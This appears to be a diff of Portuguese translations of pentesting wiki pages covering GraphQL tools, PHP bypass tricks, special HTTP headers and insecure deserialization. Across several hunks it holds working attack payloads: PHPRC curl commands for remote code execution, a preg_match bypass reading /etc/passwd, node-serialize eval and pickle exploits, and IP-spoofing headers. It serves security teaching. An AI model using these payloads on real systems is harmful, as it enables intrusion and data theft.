**Sobrecarga de Diretiva** ocorre quando um servidor GraphQL permite consultas com diretivas excessivas e duplicadas. Isso pode sobrecarregar o analisador e o executor do servidor, especialmente se o servidor processar repetidamente a mesma lógica de diretiva. Sem validação ou limites adequados, um atacante pode explorar isso criando uma consulta com numerosas diretivas duplicadas para acionar alto uso computacional ou de memória, levando a **Denial of Service (DoS)**.
|
||||
**Sobrecarga de Diretiva** ocorre quando um servidor GraphQL permite consultas com diretivas excessivas e duplicadas. Isso pode sobrecarregar o analisador e o executor do servidor, especialmente se o servidor processar repetidamente a mesma lógica de diretiva. Sem validação ou limites adequados, um atacante pode explorar isso criando uma consulta com numerosas diretivas duplicadas para acionar alto uso computacional ou de memória, levando a **Negação de Serviço (DoS)**.
|
||||
```bash
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
@ -553,12 +553,12 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testa configurações incorretas comuns de endpoints graphql
|
||||
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Script de auditoria de segurança GraphQL com foco em realizar consultas e mutações GraphQL em lote.
|
||||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identifica a impressão digital do graphql sendo usado
|
||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Conjunto de ferramentas que pode ser usado para capturar esquemas e buscar dados sensíveis, testar autorização, forçar esquemas e encontrar caminhos para um tipo específico.
|
||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Conjunto de ferramentas que pode ser usado para capturar esquemas e buscar dados sensíveis, testar autorização, força bruta em esquemas e encontrar caminhos para um tipo específico.
|
||||
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Pode ser usado como autônomo ou [extensão Burp](https://github.com/doyensec/inql).
|
||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Pode ser usado como um cliente CLI também para automatizar ataques
|
||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Pode ser usado como um cliente CLI também para automatizar ataques: `python3 graphqlmap.py -u http://example.com/graphql --inject`
|
||||
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Ferramenta que lista as diferentes maneiras de **acessar um tipo específico em um esquema GraphQL**.
|
||||
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): O sucessor dos Modos Autônomo e CLI do InQL
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Extensão Burp para testes avançados de GraphQL. O _**Scanner**_ é o núcleo do InQL v5.0, onde você pode analisar um endpoint GraphQL ou um arquivo de esquema de introspecção local. Ele gera automaticamente todas as possíveis consultas e mutações, organizando-as em uma visão estruturada para sua análise. O componente _**Attacker**_ permite que você execute ataques GraphQL em lote, o que pode ser útil para contornar limites de taxa mal implementados.
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Extensão Burp ou script python para testes avançados de GraphQL. O _**Scanner**_ é o núcleo do InQL v5.0, onde você pode analisar um endpoint GraphQL ou um arquivo de esquema de introspecção local. Ele gera automaticamente todas as possíveis consultas e mutações, organizando-as em uma visão estruturada para sua análise. O componente _**Attacker**_ permite que você execute ataques GraphQL em lote, o que pode ser útil para contornar limites de taxa mal implementados: `python3 inql.py -t http://example.com/graphql -o output.json`
|
||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Tenta obter o esquema mesmo com a introspecção desativada, usando a ajuda de alguns bancos de dados Graphql que sugerem os nomes de mutações e parâmetros.
|
||||
|
||||
### Clientes
|
||||
|
||||
@ -18,7 +18,7 @@ Localizações:
|
||||
/tmp/
|
||||
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
||||
```
|
||||
## Bypassando comparações PHP
|
||||
## Ignorando comparações PHP
|
||||
|
||||
### Comparações soltas/Juggling de Tipo ( == )
|
||||
|
||||
@ -36,7 +36,7 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
|
||||
- `"0xAAAA" == "43690" -> True` Strings compostas por números em formato dec ou hex podem ser comparadas a outros números/strings com True como resultado se os números forem os mesmos (números em uma string são interpretados como números)
|
||||
- `"0e3264578" == 0 --> True` Uma string que começa com "0e" e é seguida por qualquer coisa será igual a 0
|
||||
- `"0X3264578" == 0X --> True` Uma string que começa com "0" e é seguida por qualquer letra (X pode ser qualquer letra) e seguida por qualquer coisa será igual a 0
|
||||
- `"0e12334" == "0" --> True` Isso é muito interessante porque em alguns casos você pode controlar a entrada da string de "0" e algum conteúdo que está sendo hashado e comparado a ela. Portanto, se você puder fornecer um valor que criará um hash começando com "0e" e sem nenhuma letra, você poderá contornar a comparação. Você pode encontrar **strings já hashadas** com esse formato aqui: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"0e12334" == "0" --> True` Isso é muito interessante porque em alguns casos você pode controlar a entrada da string "0" e algum conteúdo que está sendo hashado e comparado a ela. Portanto, se você puder fornecer um valor que criará um hash começando com "0e" e sem nenhuma letra, você poderá ignorar a comparação. Você pode encontrar **strings já hashadas** com esse formato aqui: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"X" == 0 --> True` Qualquer letra em uma string é igual a int 0
|
||||
|
||||
Mais informações em [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput);
|
||||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
Para contornar essa verificação, você pode **enviar o valor com quebras de linha urlencoded** (`%0A`) ou, se puder enviar **dados JSON**, enviá-los em **várias linhas**:
|
||||
Para contornar essa verificação, você pode **enviar o valor com novas linhas urlencoded** (`%0A`) ou, se puder enviar **dados JSON**, enviá-los em **várias linhas**:
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
@ -98,13 +98,13 @@ Encontre um exemplo aqui: [https://ramadistra.dev/fbctf-2019-rceservice](https:/
|
||||
#### **Bypass de erro de comprimento**
|
||||
|
||||
(Este bypass foi aparentemente testado no PHP 5.2.5 e eu não consegui fazê-lo funcionar no PHP 7.3.15)\
|
||||
Se você puder enviar para `preg_match()` uma **entrada muito grande** válida, ele **não conseguirá processá-la** e você poderá **burlar** a verificação. Por exemplo, se estiver bloqueando um JSON, você poderia enviar:
|
||||
Se você puder enviar para `preg_match()` uma **entrada** **muito grande** válida, ele **não conseguirá processá-la** e você poderá **burlar** a verificação. Por exemplo, se estiver bloqueando um JSON, você poderia enviar:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)
|
||||
|
||||
#### Bypass ReDoS
|
||||
#### Bypass de ReDoS
|
||||
|
||||
Truque de: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) e [https://mizu.re/post/pong](https://mizu.re/post/pong)
|
||||
|
||||
@ -133,7 +133,7 @@ $obfs += ""; //int 7
|
||||
```
|
||||
## Execute After Redirect (EAR)
|
||||
|
||||
Se o PHP estiver redirecionando para outra página, mas nenhuma função **`die`** ou **`exit`** for **chamada após o cabeçalho `Location`** ser definido, o PHP continuará executando e anexando os dados ao corpo:
|
||||
Se o PHP estiver redirecionando para outra página, mas nenhuma função **`die`** ou **`exit`** for **chamada após o cabeçalho `Location`** ser definido, o PHP continua executando e anexando os dados ao corpo:
|
||||
```php
|
||||
<?php
|
||||
// In this page the page will be read and the content appended to the body of
|
||||
@ -154,9 +154,10 @@ Verifique:
|
||||
## Mais truques
|
||||
|
||||
- **register_globals**: Em **PHP < 4.1.1.1** ou se mal configurado, **register_globals** pode estar ativo (ou seu comportamento está sendo imitado). Isso implica que em variáveis globais como $\_GET, se tiverem um valor, por exemplo, $\_GET\["param"]="1234", você pode acessá-lo via **$param. Portanto, ao enviar parâmetros HTTP, você pode sobrescrever variáveis\*\* que são usadas dentro do código.
|
||||
- Os **cookies PHPSESSION do mesmo domínio são armazenados no mesmo lugar**, portanto, se dentro de um domínio **cookies diferentes são usados em caminhos diferentes**, você pode fazer com que um caminho **acesse o cookie do outro caminho** definindo o valor do cookie do outro caminho.\
|
||||
- Os **cookies PHPSESSION do mesmo domínio são armazenados no mesmo lugar**, portanto, se dentro de um domínio **cookies diferentes são usados em caminhos diferentes**, você pode fazer com que um caminho **acesse o cookie do caminho** definindo o valor do cookie do outro caminho.\
|
||||
Dessa forma, se **ambos os caminhos acessarem uma variável com o mesmo nome**, você pode fazer com que o **valor dessa variável em path1 se aplique a path2**. E então path2 considerará válidos as variáveis de path1 (dando ao cookie o nome que corresponde a ele em path2).
|
||||
- Quando você tem os **nomes de usuário** dos usuários da máquina. Verifique o endereço: **/\~\<USERNAME>** para ver se os diretórios php estão ativados.
|
||||
- Se uma configuração php tem **`register_argc_argv = On`**, então parâmetros de consulta separados por espaços são usados para preencher o array de argumentos **`array_keys($_SERVER['argv'])`** como se fossem **argumentos da CLI**. Isso é interessante porque se essa **configuração estiver desligada**, o valor do **array args será `Null`** quando chamado da web, pois o array args não será preenchido. Portanto, se uma página da web tentar verificar se está sendo executada como uma ferramenta web ou como uma CLI com uma comparação como `if (empty($_SERVER['argv'])) {`, um atacante poderia enviar **parâmetros na solicitação GET como `?--configPath=/lalala`** e ela pensará que está sendo executada como CLI e potencialmente analisará e usará esses argumentos. Mais informações na [escrita original](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
|
||||
- [**LFI e RCE usando wrappers php**](../../../pentesting-web/file-inclusion/index.html)
|
||||
|
||||
### password_hash/password_verify
|
||||
@ -170,11 +171,11 @@ False
|
||||
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
True
|
||||
```
|
||||
### HTTP headers bypass abusando de erros do PHP
|
||||
### Bypass de cabeçalhos HTTP abusando de erros do PHP
|
||||
|
||||
#### Causando erro após definir cabeçalhos
|
||||
|
||||
Do [**este thread do twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) você pode ver que enviar mais de 1000 parâmetros GET ou 1000 parâmetros POST ou 20 arquivos, o PHP não vai definir cabeçalhos na resposta.
|
||||
A partir de [**este thread do twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) você pode ver que enviar mais de 1000 parâmetros GET ou 1000 parâmetros POST ou 20 arquivos, o PHP não vai definir cabeçalhos na resposta.
|
||||
|
||||
Permitindo contornar, por exemplo, cabeçalhos CSP sendo definidos em códigos como:
|
||||
```php
|
||||
@ -273,7 +274,7 @@ Diferentes shells .htaccess podem ser encontrados [aqui](https://github.com/wire
|
||||
|
||||
### RCE via Variáveis de Ambiente
|
||||
|
||||
Se você encontrar uma vulnerabilidade que permite **modificar variáveis de ambiente no PHP** (e outra para fazer upload de arquivos, embora com mais pesquisa talvez isso possa ser contornado), você poderia abusar desse comportamento para obter **RCE**.
|
||||
Se você encontrar uma vulnerabilidade que permite **modificar variáveis de ambiente no PHP** (e outra para fazer upload de arquivos, embora com mais pesquisa isso possa ser contornado), você poderia abusar desse comportamento para obter **RCE**.
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Esta variável de ambiente permite que você carregue bibliotecas arbitrárias ao executar outros binários (embora neste caso possa não funcionar).
|
||||
- **`PHPRC`** : Instruções ao PHP sobre **onde localizar seu arquivo de configuração**, geralmente chamado `php.ini`. Se você puder fazer upload do seu próprio arquivo de configuração, então, use `PHPRC` para apontar o PHP para ele. Adicione uma entrada **`auto_prepend_file`** especificando um segundo arquivo enviado. Este segundo arquivo contém código **PHP normal, que é então executado** pelo tempo de execução do PHP antes de qualquer outro código.
|
||||
@ -282,7 +283,7 @@ Se você encontrar uma vulnerabilidade que permite **modificar variáveis de amb
|
||||
3. Defina a variável `PHPRC` para o arquivo que enviamos na etapa 2.
|
||||
- Obtenha mais informações sobre como executar essa cadeia [**do relatório original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
- **PHPRC** - outra opção
|
||||
- Se você **não puder fazer upload de arquivos**, você poderia usar no FreeBSD o "arquivo" `/dev/fd/0` que contém o **`stdin`**, sendo o **corpo** da solicitação enviada ao `stdin`:
|
||||
- Se você **não puder fazer upload de arquivos**, você poderia usar no FreeBSD o "arquivo" `/dev/fd/0` que contém o **`stdin`**, sendo o **corpo** da solicitação enviada para o `stdin`:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
- Ou para obter RCE, habilite **`allow_url_include`** e prepend um arquivo com **código PHP em base64**:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
@ -350,7 +351,7 @@ echo "${Da}"; //Drums
|
||||
echo "$x ${$x}"; //Da Drums
|
||||
echo "$x ${Da}"; //Da Drums
|
||||
```
|
||||
## RCE abusando de novo $\_GET\["a"]\($\_GET\["b")
|
||||
## RCE abusando de novo $\_GET\["a"]\($\_GET\["b"])
|
||||
|
||||
Se em uma página você pode **criar um novo objeto de uma classe arbitrária**, você pode ser capaz de obter RCE, confira a página a seguir para aprender como:
|
||||
|
||||
|
||||
@ -1,15 +1,15 @@
|
||||
# Cabeçalhos HTTP Especiais
|
||||
# Special HTTP headers
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Listas de Palavras & Ferramentas
|
||||
## Wordlists & Tools
|
||||
|
||||
- [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
|
||||
- [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
|
||||
|
||||
## Cabeçalhos para Alterar Localização
|
||||
## Headers to Change Location
|
||||
|
||||
Reescrever **IP de origem**:
|
||||
Rewrite **IP source**:
|
||||
|
||||
- `X-Originating-IP: 127.0.0.1`
|
||||
- `X-Forwarded-For: 127.0.0.1`
|
||||
@ -26,16 +26,16 @@ Reescrever **IP de origem**:
|
||||
- `True-Client-IP: 127.0.0.1`
|
||||
- `Cluster-Client-IP: 127.0.0.1`
|
||||
- `Via: 1.0 fred, 1.1 127.0.0.1`
|
||||
- `Connection: close, X-Forwarded-For` (Ver cabeçalhos hop-by-hop)
|
||||
- `Connection: close, X-Forwarded-For` (Check hop-by-hop headers)
|
||||
|
||||
Reescrever **localização**:
|
||||
Rewrite **location**:
|
||||
|
||||
- `X-Original-URL: /admin/console`
|
||||
- `X-Rewrite-URL: /admin/console`
|
||||
|
||||
## Cabeçalhos Hop-by-Hop
|
||||
## Hop-by-Hop headers
|
||||
|
||||
Um cabeçalho hop-by-hop é um cabeçalho que é projetado para ser processado e consumido pelo proxy que está lidando com a solicitação, ao contrário de um cabeçalho de ponta a ponta.
|
||||
Um cabeçalho hop-by-hop é um cabeçalho que é projetado para ser processado e consumido pelo proxy que está lidando com a solicitação, em vez de um cabeçalho de ponta a ponta.
|
||||
|
||||
- `Connection: close, X-Forwarded-For`
|
||||
|
||||
@ -43,7 +43,7 @@ Um cabeçalho hop-by-hop é um cabeçalho que é projetado para ser processado e
|
||||
../../pentesting-web/abusing-hop-by-hop-headers.md
|
||||
{{#endref}}
|
||||
|
||||
## Falsificação de Solicitações HTTP
|
||||
## HTTP Request Smuggling
|
||||
|
||||
- `Content-Length: 30`
|
||||
- `Transfer-Encoding: chunked`
|
||||
@ -52,14 +52,14 @@ Um cabeçalho hop-by-hop é um cabeçalho que é projetado para ser processado e
|
||||
../../pentesting-web/http-request-smuggling/
|
||||
{{#endref}}
|
||||
|
||||
## Cabeçalhos de Cache
|
||||
## Cache Headers
|
||||
|
||||
**Cabeçalhos de Cache do Servidor**:
|
||||
|
||||
- **`X-Cache`** na resposta pode ter o valor **`miss`** quando a solicitação não foi armazenada em cache e o valor **`hit`** quando está armazenada em cache
|
||||
- Comportamento semelhante no cabeçalho **`Cf-Cache-Status`**
|
||||
- **`Cache-Control`** indica se um recurso está sendo armazenado em cache e quando será a próxima vez que o recurso será armazenado em cache novamente: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** é frequentemente usado na resposta para **indicar cabeçalhos adicionais** que são tratados como **parte da chave de cache** mesmo que normalmente não sejam indexados.
|
||||
- **`Vary`** é frequentemente usado na resposta para **indicar cabeçalhos adicionais** que são tratados como **parte da chave de cache**, mesmo que normalmente não sejam indexados.
|
||||
- **`Age`** define o tempo em segundos que o objeto esteve no cache do proxy.
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** também indica que um recurso foi armazenado em cache
|
||||
|
||||
@ -70,24 +70,25 @@ Um cabeçalho hop-by-hop é um cabeçalho que é projetado para ser processado e
|
||||
**Cabeçalhos de Cache Local**:
|
||||
|
||||
- `Clear-Site-Data`: Cabeçalho para indicar o cache que deve ser removido: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: Contém data/hora quando a resposta deve expirar: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Expires`: Contém a data/hora quando a resposta deve expirar: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Pragma: no-cache` igual a `Cache-Control: no-cache`
|
||||
- `Warning`: O cabeçalho HTTP geral **`Warning`** contém informações sobre possíveis problemas com o status da mensagem. Mais de um cabeçalho `Warning` pode aparecer em uma resposta. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
|
||||
## Condicionais
|
||||
## Conditionals
|
||||
|
||||
- Solicitações usando esses cabeçalhos: **`If-Modified-Since`** e **`If-Unmodified-Since`** serão respondidas com dados apenas se o cabeçalho de resposta **`Last-Modified`** contiver um horário diferente.
|
||||
- Solicitações condicionais usando **`If-Match`** e **`If-None-Match`** usam um valor Etag para que o servidor web envie o conteúdo da resposta se os dados (Etag) mudaram. O `Etag` é retirado da resposta HTTP.
|
||||
- O valor **Etag** é geralmente **calculado com base** no **conteúdo** da resposta. Por exemplo, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indica que o `Etag` é o **Sha1** de **37 bytes**.
|
||||
|
||||
## Solicitações de Intervalo
|
||||
## Range requests
|
||||
|
||||
- **`Accept-Ranges`**: Indica se o servidor suporta solicitações de intervalo e, se sim, em qual unidade o intervalo pode ser expresso. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: Indica a parte de um documento que o servidor deve retornar.
|
||||
- **`If-Range`**: Cria uma solicitação de intervalo condicional que só é atendida se o etag ou data fornecidos corresponderem ao recurso remoto. Usado para evitar o download de dois intervalos de versões incompatíveis do recurso.
|
||||
- **`Range`**: Indica a parte de um documento que o servidor deve retornar. Por exemplo, `Range:80-100` retornará os bytes 80 a 100 da resposta original com um código de status 206 Partial Content. Também lembre-se de remover o cabeçalho `Accept-Encoding` da solicitação.
|
||||
- Isso pode ser útil para obter uma resposta com código JavaScript refletido arbitrário que, de outra forma, poderia ser escapado. Mas para abusar disso, você precisaria injetar esses cabeçalhos na solicitação.
|
||||
- **`If-Range`**: Cria uma solicitação de intervalo condicional que só é atendida se o etag ou a data correspondem ao recurso remoto. Usado para evitar o download de dois intervalos de versões incompatíveis do recurso.
|
||||
- **`Content-Range`**: Indica onde em uma mensagem de corpo completo uma mensagem parcial pertence.
|
||||
|
||||
## Informações do corpo da mensagem
|
||||
## Message body information
|
||||
|
||||
- **`Content-Length`:** O tamanho do recurso, em número decimal de bytes.
|
||||
- **`Content-Type`**: Indica o tipo de mídia do recurso
|
||||
@ -95,17 +96,17 @@ Um cabeçalho hop-by-hop é um cabeçalho que é projetado para ser processado e
|
||||
- **`Content-Language`**: Descreve a(s) língua(s) humana(s) destinadas ao público, permitindo que um usuário diferencie de acordo com a própria língua preferida.
|
||||
- **`Content-Location`**: Indica uma localização alternativa para os dados retornados.
|
||||
|
||||
Do ponto de vista de um pentest, essas informações são geralmente "inúteis", mas se o recurso estiver **protegido** por um 401 ou 403 e você conseguir encontrar alguma **maneira** de **obter** essa **informação**, isso pode ser **interessante.**\
|
||||
Do ponto de vista de um pentest, essas informações são geralmente "inúteis", mas se o recurso estiver **protegido** por um 401 ou 403 e você conseguir encontrar alguma **maneira** de **obter** essas **informações**, isso pode ser **interessante.**\
|
||||
Por exemplo, uma combinação de **`Range`** e **`Etag`** em uma solicitação HEAD pode vazar o conteúdo da página via solicitações HEAD:
|
||||
|
||||
- Uma solicitação com o cabeçalho `Range: bytes=20-20` e com uma resposta contendo `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` está vazando que o SHA1 do byte 20 é `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
|
||||
## Informações do Servidor
|
||||
## Server Info
|
||||
|
||||
- `Server: Apache/2.4.1 (Unix)`
|
||||
- `X-Powered-By: PHP/5.3.3`
|
||||
|
||||
## Controles
|
||||
## Controls
|
||||
|
||||
- **`Allow`**: Este cabeçalho é usado para comunicar os métodos HTTP que um recurso pode manipular. Por exemplo, pode ser especificado como `Allow: GET, POST, HEAD`, indicando que o recurso suporta esses métodos.
|
||||
- **`Expect`**: Utilizado pelo cliente para transmitir expectativas que o servidor precisa atender para que a solicitação seja processada com sucesso. Um caso de uso comum envolve o cabeçalho `Expect: 100-continue`, que sinaliza que o cliente pretende enviar um grande payload de dados. O cliente aguarda uma resposta `100 (Continue)` antes de prosseguir com a transmissão. Esse mecanismo ajuda a otimizar o uso da rede, aguardando a confirmação do servidor.
|
||||
@ -120,7 +121,7 @@ Isso significa que o arquivo nomeado "filename.jpg" é destinado a ser baixado e
|
||||
|
||||
## Cabeçalhos de Segurança
|
||||
|
||||
### Política de Segurança de Conteúdo (CSP) <a href="#csp" id="csp"></a>
|
||||
### Content Security Policy (CSP) <a href="#csp" id="csp"></a>
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/content-security-policy-csp-bypass/
|
||||
@ -153,7 +154,7 @@ X-Content-Type-Options: nosniff
|
||||
```
|
||||
### **X-Frame-Options**
|
||||
|
||||
Para combater clickjacking, este cabeçalho restringe como documentos podem ser incorporados em `<frame>`, `<iframe>`, `<embed>` ou `<object>`, recomendando que todos os documentos especifiquem suas permissões de incorporação explicitamente.
|
||||
Para combater clickjacking, este cabeçalho restringe como documentos podem ser incorporados em `<frame>`, `<iframe>`, `<embed>` ou `<object>` tags, recomendando que todos os documentos especifiquem suas permissões de incorporação explicitamente.
|
||||
```
|
||||
X-Frame-Options: DENY
|
||||
```
|
||||
@ -165,9 +166,9 @@ Cross-Origin-Resource-Policy: same-origin
|
||||
Access-Control-Allow-Origin: https://example.com
|
||||
Access-Control-Allow-Credentials: true
|
||||
```
|
||||
### **Política de Incorporação entre Origens (COEP) e Política de Abertura entre Origens (COOP)**
|
||||
### **Política de Incorporação de Origem Cruzada (COEP) e Política de Abertura de Origem Cruzada (COOP)**
|
||||
|
||||
COEP e COOP são essenciais para habilitar o isolamento entre origens, reduzindo significativamente o risco de ataques semelhantes ao Spectre. Eles controlam o carregamento de recursos entre origens e a interação com janelas entre origens, respectivamente.
|
||||
COEP e COOP são essenciais para habilitar o isolamento de origem cruzada, reduzindo significativamente o risco de ataques semelhantes ao Spectre. Eles controlam o carregamento de recursos de origem cruzada e a interação com janelas de origem cruzada, respectivamente.
|
||||
```
|
||||
Cross-Origin-Embedder-Policy: require-corp
|
||||
Cross-Origin-Opener-Policy: same-origin-allow-popups
|
||||
|
||||
@ -117,9 +117,9 @@ $ser=serialize($o);
|
||||
```
|
||||
### PHPGGC (ysoserial para PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) pode ajudá-lo a gerar payloads para abusar de deserializações em PHP.\
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) pode ajudar você a gerar payloads para abusar de deserializações em PHP.\
|
||||
Note que em vários casos você **não conseguirá encontrar uma maneira de abusar de uma deserialização no código-fonte** da aplicação, mas pode ser capaz de **abusar do código de extensões PHP externas.**\
|
||||
Portanto, se puder, verifique o `phpinfo()` do servidor e **pesquise na internet** (e até mesmo nos **gadgets** do **PHPGGC**) alguns possíveis gadgets que você poderia abusar.
|
||||
Portanto, se puder, verifique o `phpinfo()` do servidor e **pesquise na internet** (e até nos **gadgets** do **PHPGGC**) alguns possíveis gadgets que você poderia abusar.
|
||||
|
||||
### deserialização de metadados phar://
|
||||
|
||||
@ -145,7 +145,7 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
Antes de verificar a técnica de bypass, tente usar `print(base64.b64encode(pickle.dumps(P(),2)))` para gerar um objeto que seja compatível com python2 se você estiver executando python3.
|
||||
|
||||
Para mais informações sobre escapar de **pickle jails**, consulte:
|
||||
Para mais informações sobre como escapar de **pickle jails**, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -159,7 +159,7 @@ A página a seguir apresenta a técnica para **abusar de uma desserialização i
|
||||
python-yaml-deserialization.md
|
||||
{{#endref}}
|
||||
|
||||
### Class Pollution (Poluição de Protótipo Python)
|
||||
### Class Pollution (Poluição de Protótipo do Python)
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
|
||||
@ -234,7 +234,7 @@ Dentro do arquivo `node-serialize/lib/serialize.js`, você pode encontrar a mesm
|
||||
Como você pode ver no último bloco de código, **se a flag for encontrada**, `eval` é usado para desserializar a função, então basicamente **a entrada do usuário está sendo usada dentro da função `eval`**.
|
||||
|
||||
No entanto, **apenas serializar** uma função **não a executará**, pois seria necessário que alguma parte do código **chamasse `y.rce`** em nosso exemplo e isso é altamente **improvável**.\
|
||||
De qualquer forma, você poderia apenas **modificar o objeto serializado** **adicionando alguns parênteses** para que a função serializada seja executada automaticamente quando o objeto for desserializado.\
|
||||
De qualquer forma, você poderia **modificar o objeto serializado** **adicionando alguns parênteses** para que a função serializada seja executada automaticamente quando o objeto for desserializado.\
|
||||
No próximo bloco de código, **note o último parêntese** e como a função `unserialize` executará automaticamente o código:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
@ -322,7 +322,7 @@ Em Java, **os callbacks de deserialização são executados durante o processo d
|
||||
Para identificar potenciais vulnerabilidades de serialização na base de código, procure por:
|
||||
|
||||
- Classes que implementam a interface `Serializable`.
|
||||
- Uso das funções `java.io.ObjectInputStream`, `readObject`, `readUnshare`.
|
||||
- Uso das funções `java.io.ObjectInputStream`, `readObject`, `readUnshared`.
|
||||
|
||||
Preste atenção especial a:
|
||||
|
||||
@ -335,7 +335,7 @@ Preste atenção especial a:
|
||||
|
||||
#### Caixa Preta
|
||||
|
||||
Para testes de caixa preta, procure por **assinaturas específicas ou "Bytes Mágicos"** que denotam objetos serializados em java (originando de `ObjectInputStream`):
|
||||
Para testes de caixa preta, procure por **assinaturas específicas ou "Bytes Mágicos"** que denotam objetos serializados em Java (originários de `ObjectInputStream`):
|
||||
|
||||
- Padrão hexadecimal: `AC ED 00 05`.
|
||||
- Padrão Base64: `rO0`.
|
||||
@ -512,7 +512,7 @@ private transient double margin; // declared transient
|
||||
```
|
||||
#### Evite a Serialização de uma classe que precisa implementar Serializable
|
||||
|
||||
Em cenários onde certos **objetos devem implementar a interface `Serializable`** devido à hierarquia de classes, há um risco de desserialização não intencional. Para evitar isso, garanta que esses objetos sejam não desserializáveis definindo um método `readObject()` `final` que sempre lança uma exceção, conforme mostrado abaixo:
|
||||
Em cenários onde certos **objetos devem implementar a interface `Serializable`** devido à hierarquia de classes, há um risco de desserialização não intencional. Para evitar isso, garanta que esses objetos sejam não desserializáveis definindo um método `readObject()` `final` que sempre lança uma exceção, como mostrado abaixo:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
@ -546,7 +546,7 @@ return super.resolveClass(desc);
|
||||
}
|
||||
}
|
||||
```
|
||||
**Usando um Agente Java para Aumento de Segurança** oferece uma solução alternativa quando a modificação de código não é possível. Este método se aplica principalmente para **bloquear classes prejudiciais**, usando um parâmetro JVM:
|
||||
**Usando um Agente Java para Aumento de Segurança** oferece uma solução alternativa quando a modificação de código não é possível. Este método se aplica principalmente para **colocar em lista negra classes prejudiciais**, usando um parâmetro JVM:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
@ -609,10 +609,10 @@ Existem vários produtos usando esse middleware para enviar mensagens:
|
||||
|
||||
### Exploração
|
||||
|
||||
